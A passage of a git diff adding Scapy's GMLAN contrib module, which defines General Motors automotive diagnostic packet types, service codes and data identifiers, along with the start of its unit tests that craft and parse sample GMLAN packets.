explicitly. +""" diff --git a/libs/scapy/contrib/automotive/gm/gmlan.py b/libs/scapy/contrib/automotive/gm/gmlan.py new file mode 100755 index 0000000..74e4627 --- /dev/null +++ b/libs/scapy/contrib/automotive/gm/gmlan.py @@ -0,0 +1,836 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Nils Weiss +# Copyright (C) Enrico Pozzobon +# This program is published under a GPLv2 license + +# scapy.contrib.description = General Motors Local Area Network (GMLAN) +# scapy.contrib.status = loads + +import struct +from scapy.fields import ObservableDict, XByteEnumField, ByteEnumField, \ + ConditionalField, XByteField, StrField, XShortEnumField, XShortField, \ + X3BytesField, XIntField, ShortField, PacketField, PacketListField, \ + FieldListField +from scapy.packet import Packet, bind_layers, NoPayload +from scapy.config import conf +from scapy.error import warning, log_loading +from scapy.contrib.isotp import ISOTP + + +""" +GMLAN +""" + +try: + if conf.contribs['GMLAN']['treat-response-pending-as-answer']: + pass +except KeyError: + log_loading.info("Specify \"conf.contribs['GMLAN'] = " + "{'treat-response-pending-as-answer': True}\" to treat " + "a negative response 'RequestCorrectlyReceived-" + "ResponsePending' as answer of a request. \n" + "The default value is False.") + conf.contribs['GMLAN'] = {'treat-response-pending-as-answer': False} + +conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = None + + +class GMLAN(ISOTP): + @staticmethod + def determine_len(x): + if conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] is None: + warning("Define conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme']! " # noqa: E501 + "Assign either 2,3 or 4") + if conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] \ + not in [2, 3, 4]: + warning("Define conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme']! " # noqa: E501 + "Assign either 2,3 or 4") + return conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] == x + + services = ObservableDict( + {0x04: 'ClearDiagnosticInformation', + 0x10: 'InitiateDiagnosticOperation', + 0x12: 'ReadFailureRecordData', + 0x1a: 'ReadDataByIdentifier', + 0x20: 'ReturnToNormalOperation', + 0x22: 'ReadDataByParameterIdentifier', + 0x23: 'ReadMemoryByAddress', + 0x27: 'SecurityAccess', + 0x28: 'DisableNormalCommunication', + 0x2c: 'DynamicallyDefineMessage', + 0x2d: 'DefinePIDByAddress', + 0x34: 'RequestDownload', + 0x36: 'TransferData', + 0x3b: 'WriteDataByIdentifier', + 0x3e: 'TesterPresent', + 0x44: 'ClearDiagnosticInformationPositiveResponse', + 0x50: 'InitiateDiagnosticOperationPositiveResponse', + 0x52: 'ReadFailureRecordDataPositiveResponse', + 0x5a: 'ReadDataByIdentifierPositiveResponse', + 0x60: 'ReturnToNormalOperationPositiveResponse', + 0x62: 'ReadDataByParameterIdentifierPositiveResponse', + 0x63: 'ReadMemoryByAddressPositiveResponse', + 0x67: 'SecurityAccessPositiveResponse', + 0x68: 'DisableNormalCommunicationPositiveResponse', + 0x6c: 'DynamicallyDefineMessagePositiveResponse', + 0x6d: 'DefinePIDByAddressPositiveResponse', + 0x74: 'RequestDownloadPositiveResponse', + 0x76: 'TransferDataPositiveResponse', + 0x7b: 'WriteDataByIdentifierPositiveResponse', + 0x7e: 'TesterPresentPositiveResponse', + 0x7f: 'NegativeResponse', + 0xa2: 'ReportProgrammingState', + 0xa5: 'ProgrammingMode', + 0xa9: 'ReadDiagnosticInformation', + 0xaa: 'ReadDataByPacketIdentifier', + 0xae: 'DeviceControl', + 0xe2: 'ReportProgrammingStatePositiveResponse', + 0xe5: 'ProgrammingModePositiveResponse', + 0xe9: 'ReadDiagnosticInformationPositiveResponse', + 0xea: 'ReadDataByPacketIdentifierPositiveResponse', + 0xee: 'DeviceControlPositiveResponse'}) + name = 'General Motors Local Area Network' + fields_desc = [ + XByteEnumField('service', 0, services) + ] + + def answers(self, other): + if other.__class__ != self.__class__: + return False + if self.service == 0x7f: + return self.payload.answers(other) + if self.service == (other.service + 0x40): + if isinstance(self.payload, NoPayload) or \ + isinstance(other.payload, NoPayload): + return True + else: + return self.payload.answers(other.payload) + return False + + def hashret(self): + if self.service == 0x7f: + return struct.pack('B', self.requestServiceId) + return struct.pack('B', self.service & ~0x40) + + @staticmethod + def modifies_ecu_state(pkt, ecu): + if pkt.service == 0x50: + ecu.current_session = 3 + elif pkt.service == 0x60: + ecu.current_session = 1 + ecu.communication_control = 0 + ecu.current_security_level = 0 + elif pkt.service == 0x68: + ecu.communication_control = 1 + elif pkt.service == 0xe5: + ecu.current_session = 2 + + +# ########################IDO################################### +class GMLAN_IDO(Packet): + subfunctions = { + 0x02: 'disableAllDTCs', + 0x03: 'enableDTCsDuringDevCntrl', + 0x04: 'wakeUpLinks'} + name = 'InitiateDiagnosticOperation' + fields_desc = [ + ByteEnumField('subfunction', 0, subfunctions) + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%GMLAN.service%"), \ + pkt.sprintf("%GMLAN_IDO.subfunction%") + + +bind_layers(GMLAN, GMLAN_IDO, service=0x10) + + +# ########################RFRD################################### +class GMLAN_DTC(Packet): + name = 'GMLAN DTC information' + fields_desc = [ + XByteField('failureRecordNumber', 0), + XByteField('DTCHighByte', 0), + XByteField('DTCLowByte', 0), + XByteField('DTCFailureType', 0) + ] + + def extract_padding(self, p): + return "", p + + +class GMLAN_RFRD(Packet): + subfunctions = { + 0x01: 'readFailureRecordIdentifiers', + 0x02: 'readFailureRecordParameters'} + name = 'ReadFailureRecordData' + fields_desc = [ + ByteEnumField('subfunction', 0, subfunctions), + ConditionalField(PacketField("dtc", b'', GMLAN_DTC), + lambda pkt: pkt.subfunction == 0x02) + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%GMLAN.service%"), \ + pkt.sprintf("%GMLAN_RFRD.subfunction%") + + +bind_layers(GMLAN, GMLAN_RFRD, service=0x12) + + +class GMLAN_RFRDPR(Packet): + name = 'ReadFailureRecordDataPositiveResponse' + fields_desc = [ + ByteEnumField('subfunction', 0, GMLAN_RFRD.subfunctions) + ] + + def answers(self, other): + return other.__class__ == GMLAN_RFRD and \ + other.subfunction == self.subfunction + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%GMLAN.service%"), \ + pkt.sprintf("%GMLAN_RFRDPR.subfunction%") + + +bind_layers(GMLAN, GMLAN_RFRDPR, service=0x52) + + +class GMLAN_RFRDPR_RFRI(Packet): + failureRecordDataStructureIdentifiers = { + 0x00: "PID", + 0x01: "DPID" + } + name = 'ReadFailureRecordDataPositiveResponse_readFailureRecordIdentifiers' + fields_desc = [ + ByteEnumField('failureRecordDataStructureIdentifier', 0, + failureRecordDataStructureIdentifiers), + PacketListField("dtcs", [], GMLAN_DTC) + ] + + +bind_layers(GMLAN_RFRDPR, GMLAN_RFRDPR_RFRI, subfunction=0x01) + + +class GMLAN_RFRDPR_RFRP(Packet): + name = 'ReadFailureRecordDataPositiveResponse_readFailureRecordParameters' + fields_desc = [ + PacketField("dtc", b'', GMLAN_DTC) + ] + + +bind_layers(GMLAN_RFRDPR, GMLAN_RFRDPR_RFRP, subfunction=0x02) + + +# ########################RDBI################################### +class GMLAN_RDBI(Packet): + dataIdentifiers = ObservableDict({ + 0x90: "$90: VehicleIdentificationNumber (VIN)", + 0x92: "$92: SystemSupplierId (SYSSUPPID)", + 0x97: "$97: SystemNameOrEngineType (SNOET)", + 0x98: "$98: RepairShopCodeOrTesterSerialNumber (RSCOTSN)", + 0x99: "$99: ProgrammingDate (PD)", + 0x9a: "$9a: DiagnosticDataIdentifier (DDI)", + 0x9b: "$9b: XmlConfigurationCompatibilityIdentifier (XMLCCID)", + 0x9C: "$9C: XmlDataFilePartNumber (XMLDFPN)", + 0x9D: "$9D: XmlDataFileAlphaCode (XMLDFAC)", + 0x9F: "$9F: PreviousStoredRepairShopCodeOrTesterSerialNumbers " + "(PSRSCOTSN)", + 0xA0: "$A0: manufacturers_enable_counter (MEC)", + 0xA1: "$A1: ECUConfigurationOrCustomizationData (ECUCOCGD) 1", + 0xA2: "$A2: ECUConfigurationOrCustomizationData (ECUCOCGD) 2", + 0xA3: "$A3: ECUConfigurationOrCustomizationData (ECUCOCGD) 3", + 0xA4: "$A4: ECUConfigurationOrCustomizationData (ECUCOCGD) 4", + 0xA5: "$A5: ECUConfigurationOrCustomizationData (ECUCOCGD) 5", + 0xA6: "$A6: ECUConfigurationOrCustomizationData (ECUCOCGD) 6", + 0xA7: "$A7: ECUConfigurationOrCustomizationData (ECUCOCGD) 7", + 0xA8: "$A8: ECUConfigurationOrCustomizationData (ECUCOCGD) 8", + 0xB0: "$B0: ECUDiagnosticAddress (ECUADDR)", + 0xB1: "$B1: ECUFunctionalSystemsAndVirtualDevices (ECUFSAVD)", + 0xB2: "$B2: GM ManufacturingData (GMMD)", + 0xB3: "$B3: Data Universal Numbering System Identification (DUNS)", + 0xB4: "$B4: Manufacturing Traceability Characters (MTC)", + 0xB5: "$B5: GM BroadcastCode (GMBC)", + 0xB6: "$B6: GM Target Vehicle (GMTV)", + 0xB7: "$B7: GM Software Usage Description (GMSUD)", + 0xB8: "$B8: GM Bench Verification Information (GMBVI)", + 0xB9: "$B9: Subnet_Config_List_HighSpeed (SCLHS)", + 0xBA: "$BA: Subnet_Config_List_LowSpeed (SCLLS)", + 0xBB: "$BB: Subnet_Config_List_MidSpeed (SCLMS)", + 0xBC: "$BC: Subnet_Config_List_NonCan 1 (SCLNC 1)", + 0xBD: "$BD: Subnet_Config_List_NonCan 2 (SCLNC 2)", + 0xBE: "$BE: Subnet_Config_List_LIN (SCLLIN)", + 0xBF: "$BF: Subnet_Config_List_GMLANChassisExpansionBus (SCLGCEB)", + 0xC0: "$C0: BootSoftwarePartNumber (BSPN)", + 0xC1: "$C1: SoftwareModuleIdentifier (SWMI) 01", + 0xC2: "$C2: SoftwareModuleIdentifier (SWMI) 02", + 0xC3: "$C3: SoftwareModuleIdentifier (SWMI) 03", + 0xC4: "$C4: SoftwareModuleIdentifier (SWMI) 04", + 0xC5: "$C5: SoftwareModuleIdentifier (SWMI) 05", + 0xC6: "$C6: SoftwareModuleIdentifier (SWMI) 06", + 0xC7: "$C7: SoftwareModuleIdentifier (SWMI) 07", + 0xC8: "$C8: SoftwareModuleIdentifier (SWMI) 08", + 0xC9: "$C9: SoftwareModuleIdentifier (SWMI) 09", + 0xCA: "$CA: SoftwareModuleIdentifier (SWMI) 10", + 0xCB: "$CB: EndModelPartNumber", + 0xCC: "$CC: BaseModelPartNumber (BMPN)", + 0xD0: "$D0: BootSoftwarePartNumberAlphaCode", + 0xD1: "$D1: SoftwareModuleIdentifierAlphaCode (SWMIAC) 01", + 0xD2: "$D2: SoftwareModuleIdentifierAlphaCode (SWMIAC) 02", + 0xD3: "$D3: SoftwareModuleIdentifierAlphaCode (SWMIAC) 03", + 0xD4: "$D4: SoftwareModuleIdentifierAlphaCode (SWMIAC) 04", + 0xD5: "$D5: SoftwareModuleIdentifierAlphaCode (SWMIAC) 05", + 0xD6: "$D6: SoftwareModuleIdentifierAlphaCode (SWMIAC) 06", + 0xD7: "$D7: SoftwareModuleIdentifierAlphaCode (SWMIAC) 07", + 0xD8: "$D8: SoftwareModuleIdentifierAlphaCode (SWMIAC) 08", + 0xD9: "$D9: SoftwareModuleIdentifierAlphaCode (SWMIAC) 09", + 0xDA: "$DA: SoftwareModuleIdentifierAlphaCode (SWMIAC) 10", + 0xDB: "$DB: EndModelPartNumberAlphaCode", + 0xDC: "$DC: BaseModelPartNumberAlphaCode", + 0xDD: "$DD: SoftwareModuleIdentifierDataIdentifiers (SWMIDID)", + 0xDE: "$DE: GMLANIdentificationData (GMLANID)", + 0xDF: "$DF: ECUOdometerValue (ECUODO)", + 0xE0: "$E0: VehicleLevelDataRecord (VLDR) 0", + 0xE1: "$E1: VehicleLevelDataRecord (VLDR) 1", + 0xE2: "$E2: VehicleLevelDataRecord (VLDR) 2", + 0xE3: "$E3: VehicleLevelDataRecord (VLDR) 3", + 0xE4: "$E4: VehicleLevelDataRecord (VLDR) 4", + 0xE5: "$E5: VehicleLevelDataRecord (VLDR) 5", + 0xE6: "$E6: VehicleLevelDataRecord (VLDR) 6", + 0xE7: "$E7: VehicleLevelDataRecord (VLDR) 7", + 0xE8: "$E8: Subnet_Config_List_GMLANPowertrainExpansionBus (SCLGPEB)", + 0xE9: "$E9: Subnet_Config_List_GMLANFrontObjectExpansionBus " + "(SCLGFOEB)", + 0xEA: "$EA: Subnet_Config_List_GMLANRearObjectExpansionBus (SCLGROEB)", + 0xEB: "$EB: Subnet_Config_List_GMLANExpansionBus1 (SCLGEB1)", + 0xEC: "$EC: Subnet_Config_List_GMLANExpansionBus2 (SCLGEB2)", + 0xED: "$ED: Subnet_Config_List_GMLANExpansionBus3 (SCLGEB3)", + 0xEE: "$EE: Subnet_Config_List_GMLANExpansionBus4 (SCLGEB4)", + 0xEF: "$EF: Subnet_Config_List_GMLANExpansionBus5 (SCLGEB5)", + }) + + name = 'ReadDataByIdentifier' + fields_desc = [ + XByteEnumField('dataIdentifier', 0, dataIdentifiers) + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%GMLAN.service%"), \ + pkt.sprintf("%GMLAN_RDBI.dataIdentifier%") + + +bind_layers(GMLAN, GMLAN_RDBI, service=0x1A) + + +class GMLAN_RDBIPR(Packet): + name = 'ReadDataByIdentifierPositiveResponse' + fields_desc = [ + XByteEnumField('dataIdentifier', 0, GMLAN_RDBI.dataIdentifiers), + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%GMLAN.service%"), \ + (pkt.sprintf("%GMLAN_RDBIPR.dataIdentifier%"), + bytes(pkt[1].payload)) + + def answers(self, other): + return other.__class__ == GMLAN_RDBI and \ + other.dataIdentifier == self.dataIdentifier + + +bind_layers(GMLAN, GMLAN_RDBIPR, service=0x5A) + + +# ########################RDBI################################### +class GMLAN_RDBPI(Packet): + dataIdentifiers = ObservableDict({ + 0x0005: "OBD_EngineCoolantTemperature", + 0x000C: "OBD_EngineRPM", + 0x001f: "OBD_TimeSinceEngineStart" + }) + name = 'ReadDataByParameterIdentifier' + fields_desc = [ + FieldListField("identifiers", [], + XShortEnumField('parameterIdentifier', 0, + dataIdentifiers)) + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%GMLAN.service%"), \ + pkt.sprintf("%GMLAN_RDBPI.identifiers%") + + +bind_layers(GMLAN, GMLAN_RDBPI, service=0x22) + + +class GMLAN_RDBPIPR(Packet): + name = 'ReadDataByParameterIdentifierPositiveResponse' + fields_desc = [ + XShortEnumField('parameterIdentifier', 0, GMLAN_RDBPI.dataIdentifiers), + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%GMLAN.service%"), \ + pkt.sprintf("%GMLAN_RDBPIPR.parameterIdentifier%") + + def answers(self, other): + return other.__class__ == GMLAN_RDBPI and \ + self.parameterIdentifier in other.identifiers + + +bind_layers(GMLAN, GMLAN_RDBPIPR, service=0x62) + + +# ########################RDBPKTI################################### +class GMLAN_RDBPKTI(Packet): + name = 'ReadDataByPacketIdentifier' + subfunctions = { + 0x00: "stopSending", + 0x01: "sendOneResponse", + 0x02: "scheduleAtSlowRate", + 0x03: "scheduleAtMediumRate", + 0x04: "scheduleAtFastRate" + } + + fields_desc = [ + XByteEnumField('subfunction', 0, subfunctions), + ConditionalField(FieldListField('request_DPIDs', [], + XByteField("", 0)), + lambda pkt: pkt.subfunction > 0x0) + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%GMLAN.service%"), \ + pkt.sprintf("%GMLAN_RDBPKTI.subfunction%") + + +bind_layers(GMLAN, GMLAN_RDBPKTI, service=0xAA) + + +# ########################RMBA################################### +class GMLAN_RMBA(Packet): + name = 'ReadMemoryByAddress' + fields_desc = [ + ConditionalField(XShortField('memoryAddress', 0), + lambda pkt: GMLAN.determine_len(2)), + ConditionalField(X3BytesField('memoryAddress', 0), + lambda pkt: GMLAN.determine_len(3)), + ConditionalField(XIntField('memoryAddress', 0), + lambda pkt: GMLAN.determine_len(4)), + XShortField('memorySize', 0), + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%GMLAN.service%"), \ + pkt.sprintf("%GMLAN_RMBA.memoryAddress%") + + +bind_layers(GMLAN, GMLAN_RMBA, service=0x23) + + +class GMLAN_RMBAPR(Packet): + name = 'ReadMemoryByAddressPositiveResponse' + fields_desc = [ + ConditionalField(XShortField('memoryAddress', 0), + lambda pkt: GMLAN.determine_len(2)), + ConditionalField(X3BytesField('memoryAddress', 0), + lambda pkt: GMLAN.determine_len(3)), + ConditionalField(XIntField('memoryAddress', 0), + lambda pkt: GMLAN.determine_len(4)), + StrField('dataRecord', None, fmt="B") + ] + + def answers(self, other): + return other.__class__ == GMLAN_RMBA and \ + other.memoryAddress == self.memoryAddress + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%GMLAN.service%"), \ + (pkt.sprintf("%GMLAN_RMBAPR.memoryAddress%"), pkt.dataRecord) + + +bind_layers(GMLAN, GMLAN_RMBAPR, service=0x63) + + +# ########################SA################################### +class GMLAN_SA(Packet): + subfunctions = { + 0: 'ReservedByDocument', + 1: 'SPSrequestSeed', + 2: 'SPSsendKey', + 3: 'DevCtrlrequestSeed', + 4: 'DevCtrlsendKey', + 255: 'ReservedByDocument'} + for i in range(0x05, 0x0a + 1): + subfunctions[i] = 'ReservedByDocument' + for i in range(0x0b, 0xfa + 1): + subfunctions[i] = 'Reserved for vehicle manufacturer specific needs' + for i in range(0xfb, 0xfe + 1): + subfunctions[i] = 'Reserved for ECU or ' \ + 'system supplier manufacturing needs' + + name = 'SecurityAccess' + fields_desc = [ + ByteEnumField('subfunction', 0, subfunctions), + ConditionalField(XShortField('securityKey', B""), + lambda pkt: pkt.subfunction % 2 == 0) + ] + + @staticmethod + def get_log(pkt): + if pkt.subfunction % 2 == 1: + return pkt.sprintf("%GMLAN.service%"), \ + (pkt.subfunction, None) + else: + return pkt.sprintf("%GMLAN.service%"), \ + (pkt.subfunction, pkt.securityKey) + + +bind_layers(GMLAN, GMLAN_SA, service=0x27) + + +class GMLAN_SAPR(Packet): + name = 'SecurityAccessPositiveResponse' + fields_desc = [ + ByteEnumField('subfunction', 0, GMLAN_SA.subfunctions), + ConditionalField(XShortField('securitySeed', B""), + lambda pkt: pkt.subfunction % 2 == 1), + ] + + def answers(self, other): + return other.__class__ == GMLAN_SA \ + and other.subfunction == self.subfunction + + @staticmethod + def get_log(pkt): + if pkt.subfunction % 2 == 0: + return pkt.sprintf("%GMLAN.service%"), \ + (pkt.subfunction, None) + else: + return pkt.sprintf("%GMLAN.service%"), \ + (pkt.subfunction, pkt.securitySeed) + + @staticmethod + def modifies_ecu_state(pkt, ecu): + if pkt.subfunction % 2 == 0: + ecu.current_security_level = pkt.subfunction + + +bind_layers(GMLAN, GMLAN_SAPR, service=0x67) + + +# ########################DDM################################### +class GMLAN_DDM(Packet): + name = 'DynamicallyDefineMessage' + fields_desc = [ + XByteField('DPIDIdentifier', 0), + StrField('PIDData', b'\x00\x00') + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%GMLAN.service%"), \ + (pkt.sprintf("%GMLAN_DDM.DPIDIdentifier%"), pkt.PIDData) + + +bind_layers(GMLAN, GMLAN_DDM, service=0x2C) + + +class GMLAN_DDMPR(Packet): + name = 'DynamicallyDefineMessagePositiveResponse' + fields_desc = [ + XByteField('DPIDIdentifier', 0) + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%GMLAN.service%"), \ + pkt.sprintf("%GMLAN_DDMPR.DPIDIdentifier%") + + def answers(self, other): + return other.__class__ == GMLAN_DDM \ + and other.DPIDIdentifier == self.DPIDIdentifier + + +bind_layers(GMLAN, GMLAN_DDMPR, service=0x6C) + + +# ########################DPBA################################### +class GMLAN_DPBA(Packet): + name = 'DefinePIDByAddress' + fields_desc = [ + XShortField('parameterIdentifier', 0), + ConditionalField(XShortField('memoryAddress', 0), + lambda pkt: GMLAN.determine_len(2)), + ConditionalField(X3BytesField('memoryAddress', 0), + lambda pkt: GMLAN.determine_len(3)), + ConditionalField(XIntField('memoryAddress', 0), + lambda pkt: GMLAN.determine_len(4)), + XByteField('memorySize', 0), + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%GMLAN.service%"), \ + (pkt.parameterIdentifier, pkt.memoryAddress, pkt.memorySize) + + +bind_layers(GMLAN, GMLAN_DPBA, service=0x2D) + + +class GMLAN_DPBAPR(Packet): + name = 'DefinePIDByAddressPositiveResponse' + fields_desc = [ + XShortField('parameterIdentifier', 0), + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%GMLAN.service%"), pkt.parameterIdentifier + + def answers(self, other): + return other.__class__ == GMLAN_DPBA \ + and other.parameterIdentifier == self.parameterIdentifier + + +bind_layers(GMLAN, GMLAN_DPBA, service=0x6D) + + +# ########################RD################################### +class GMLAN_RD(Packet): + name = 'RequestDownload' + fields_desc = [ + XByteField('dataFormatIdentifier', 0), + ConditionalField(XShortField('memorySize', 0), + lambda pkt: GMLAN.determine_len(2)), + ConditionalField(X3BytesField('memorySize', 0), + lambda pkt: GMLAN.determine_len(3)), + ConditionalField(XIntField('memorySize', 0), + lambda pkt: GMLAN.determine_len(4)), + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%GMLAN.service%"), \ + (pkt.dataFormatIdentifier, pkt.memorySize) + + +bind_layers(GMLAN, GMLAN_RD, service=0x34) + + +# ########################TD################################### +class GMLAN_TD(Packet): + subfunctions = { + 0x00: "download", + 0x80: "downloadAndExecuteOrExecute" + } + name = 'TransferData' + fields_desc = [ + ByteEnumField('subfunction', 0, subfunctions), + ConditionalField(XShortField('startingAddress', 0), + lambda pkt: GMLAN.determine_len(2)), + ConditionalField(X3BytesField('startingAddress', 0), + lambda pkt: GMLAN.determine_len(3)), + ConditionalField(XIntField('startingAddress', 0), + lambda pkt: GMLAN.determine_len(4)), + StrField("dataRecord", None) + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%GMLAN.service%"), \ + (pkt.sprintf("%GMLAN_TD.subfunction%"), pkt.startingAddress, + pkt.dataRecord) + + +bind_layers(GMLAN, GMLAN_TD, service=0x36) + + +# ########################WDBI################################### +class GMLAN_WDBI(Packet): + name = 'WriteDataByIdentifier' + fields_desc = [ + XByteEnumField('dataIdentifier', 0, GMLAN_RDBI.dataIdentifiers), + StrField("dataRecord", b'\x00') + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%GMLAN.service%"), \ + (pkt.sprintf("%GMLAN_WDBI.dataIdentifier%"), pkt.dataRecord) + + +bind_layers(GMLAN, GMLAN_WDBI, service=0x3B) + + +class GMLAN_WDBIPR(Packet): + name = 'WriteDataByIdentifierPositiveResponse' + fields_desc = [ + XByteEnumField('dataIdentifier', 0, GMLAN_RDBI.dataIdentifiers) + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%GMLAN.service%"), \ + pkt.sprintf("%GMLAN_WDBIPR.dataIdentifier%") + + def answers(self, other): + return other.__class__ == GMLAN_WDBI \ + and other.dataIdentifier == self.dataIdentifier + + +bind_layers(GMLAN, GMLAN_WDBIPR, service=0x7B) + + +# ########################RPSPR################################### +class GMLAN_RPSPR(Packet): + programmedStates = { + 0x00: "fully programmed", + 0x01: "no op s/w or cal data", + 0x02: "op s/w present, cal data missing", + 0x03: "s/w present, default or no start cal present", + 0x50: "General Memory Fault", + 0x51: "RAM Memory Fault", + 0x52: "NVRAM Memory Fault", + 0x53: "Boot Memory Failure", + 0x54: "Flash Memory Failure", + 0x55: "EEPROM Memory Failure", + } + name = 'ReportProgrammedStatePositiveResponse' + fields_desc = [ + ByteEnumField('programmedState', 0, programmedStates), + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%GMLAN.service%"), \ + pkt.sprintf("%GMLAN_RPSPR.programmedState%") + + +bind_layers(GMLAN, GMLAN_RPSPR, service=0xE2) + + +# ########################PM################################### +class GMLAN_PM(Packet): + subfunctions = { + 0x01: "requestProgrammingMode", + 0x02: "requestProgrammingMode_HighSpeed", + 0x03: "enableProgrammingMode" + } + name = 'ProgrammingMode' + fields_desc = [ + ByteEnumField('subfunction', 0, subfunctions), + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%GMLAN.service%"), \ + pkt.sprintf("%GMLAN_PM.subfunction%") + + +bind_layers(GMLAN, GMLAN_PM, service=0xA5) + + +# ########################RDI################################### +class GMLAN_RDI(Packet): + subfunctions = { + 0x80: 'readStatusOfDTCByDTCNumber', + 0x81: 'readStatusOfDTCByStatusMask', + 0x82: 'sendOnChangeDTCCount' + } + name = 'ReadDiagnosticInformation' + fields_desc = [ + ByteEnumField('subfunction', 0, subfunctions) + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%GMLAN.service%"), \ + pkt.sprintf("%GMLAN_RDI.subfunction%") + + +bind_layers(GMLAN, GMLAN_RDI, service=0xA9) + + +class GMLAN_RDI_BN(Packet): + name = 'ReadStatusOfDTCByDTCNumber' + fields_desc = [ + XByteField('DTCHighByte', 0), + XByteField('DTCLowByte', 0), + XByteField('DTCFailureType', 0), + ] + + +bind_layers(GMLAN_RDI, GMLAN_RDI_BN, subfunction=0x80) + + +class GMLAN_RDI_BM(Packet): + name = 'ReadStatusOfDTCByStatusMask' + fields_desc = [ + XByteField('DTCStatusMask', 0), + ] + + +bind_layers(GMLAN_RDI, GMLAN_RDI_BM, subfunction=0x81) + + +class GMLAN_RDI_BC(Packet): + name = 'SendOnChangeDTCCount' + fields_desc = [ + XByteField('DTCStatusMask', 0), + ] + + +bind_layers(GMLAN_RDI, GMLAN_RDI_BC, subfunction=0x82) +# TODO:This function receive single frame responses... (Implement GMLAN Socket) + + +# ########################NRC################################### +class GMLAN_NR(Packet): + negativeResponseCodes = { + 0x11: 'ServiceNotSupported', + 0x12: 'SubFunctionNotSupported', + 0x22: 'ConditionsNotCorrectOrRequestSequenceError', + 0x31: 'RequestOutOfRange', + 0x35: 'InvalidKey', + 0x36: 'ExceedNumberOfAttempts', + 0x37: 'RequiredTimeDelayNotExpired', + 0x78: 'RequestCorrectlyReceived-ResponsePending', + 0x81: 'SchedulerFull', + 0x83: 'VoltageOutOfRange', + 0x85: 'GeneralProgrammingFailure', + 0x89: 'DeviceTypeError', + 0x99: 'ReadyForDownload-DTCStored', + 0xe3: 'DeviceControlLimitsExceeded', + } + name = 'NegativeResponse' + fields_desc = [ + XByteEnumField('requestServiceId', 0, GMLAN.services), + ByteEnumField('returnCode', 0, negativeResponseCodes), + ShortField('deviceControlLimitExceeded', 0) + ] + + @staticmethod + def get_log(pkt): + return pkt.sprintf("%GMLAN.service%"), \ + (pkt.sprintf("%GMLAN_NR.requestServiceId%"), + pkt.sprintf("%GMLAN_NR.returnCode%")) + + def answers(self, other): + return self.requestServiceId == other.service and \ + (self.returnCode != 0x78 or + conf.contribs['GMLAN']['treat-response-pending-as-answer']) + + +bind_layers(GMLAN, GMLAN_NR, service=0x7f) diff --git a/libs/scapy/contrib/automotive/gm/gmlan.uts b/libs/scapy/contrib/automotive/gm/gmlan.uts new file mode 100755 index 0000000..0604a7e --- /dev/null +++ b/libs/scapy/contrib/automotive/gm/gmlan.uts @@ -0,0 +1,403 @@ +# gmlan unit tests +# +# Type the following command to launch start the tests: +# $ sudo bash test/run_tests -t test/gmlan.uts -F + +% gmlan unit tests + ++ Configuration of scapy += Load gmlan layer +~ conf command + +load_contrib('automotive.gm.gmlan') + ++ Basic Packet Tests() += Set GMLAN ECU AddressingScheme + +conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 2 + +assert conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] == 2 + += Craft Packet +x = GMLAN(b'\x52\x02\x01\x16\x71\x00\x00\x0c\xaa\xbb') +x.load == b'\x00\x0c\xaa\xbb' +x.service == 0x52 + += Craft VIN Packet +x = GMLAN(b'\x5a\x90'+ raw("WOOOJBF35W1042000")) +x.load == b'WOOOJBF35W1042000' +x.dataIdentifier == 0x90 + += Test Packet with ECU AddressingScheme2 +x = GMLAN()/GMLAN_RMBA(b'\x11\x22\x44\x22') +x.memoryAddress == 0x1122 +x.memorySize == 0x4422 + += Test Packet GMLAN_RMBAPR with ECU AddressingScheme2 +x = GMLAN()/GMLAN_RMBAPR(b'\x11\x22\x44\x22') +x.memoryAddress == 0x1122 +x.dataRecord == b'\x44\x22' + += Craft Packet with ECU AddressingScheme2 +x = GMLAN() / GMLAN_RMBA(b'\x11\x22\x44\x22') +y = GMLAN()/GMLAN_RMBA(memoryAddress=0x1122, memorySize=0x4422) +bytes(x) == bytes(y) + += Test Packet with ECU AddressingScheme3 +conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 3 +x = GMLAN()/GMLAN_RMBA(b'\x11\x22\x44\x22\x11') +x.memoryAddress == 0x112244 +x.memorySize == 0x2211 + += Test Packet GMLAN_RMBAPR with ECU AddressingScheme3 +x = GMLAN()/GMLAN_RMBAPR(b'\x11\x22\x44\x22\x11') +x.memoryAddress == 0x112244 +x.dataRecord == b'\x22\x11' + += Craft Packet with ECU AddressingScheme3 +x = GMLAN() / GMLAN_RMBA(b'\x11\x22\x44\x22\x11') +y = GMLAN()/GMLAN_RMBA(memoryAddress=0x112244, memorySize=0x2211) +bytes(x) == bytes(y) + += Test Packet with ECU AddressingScheme4 +conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 +x = GMLAN()/GMLAN_RMBA(b'\x11\x22\x44\x22\x11\x00') +x.memoryAddress == 0x11224422 +x.memorySize == 0x1100 + += Test Packet GMLAN_RMBAPR with ECU AddressingScheme4 +x = 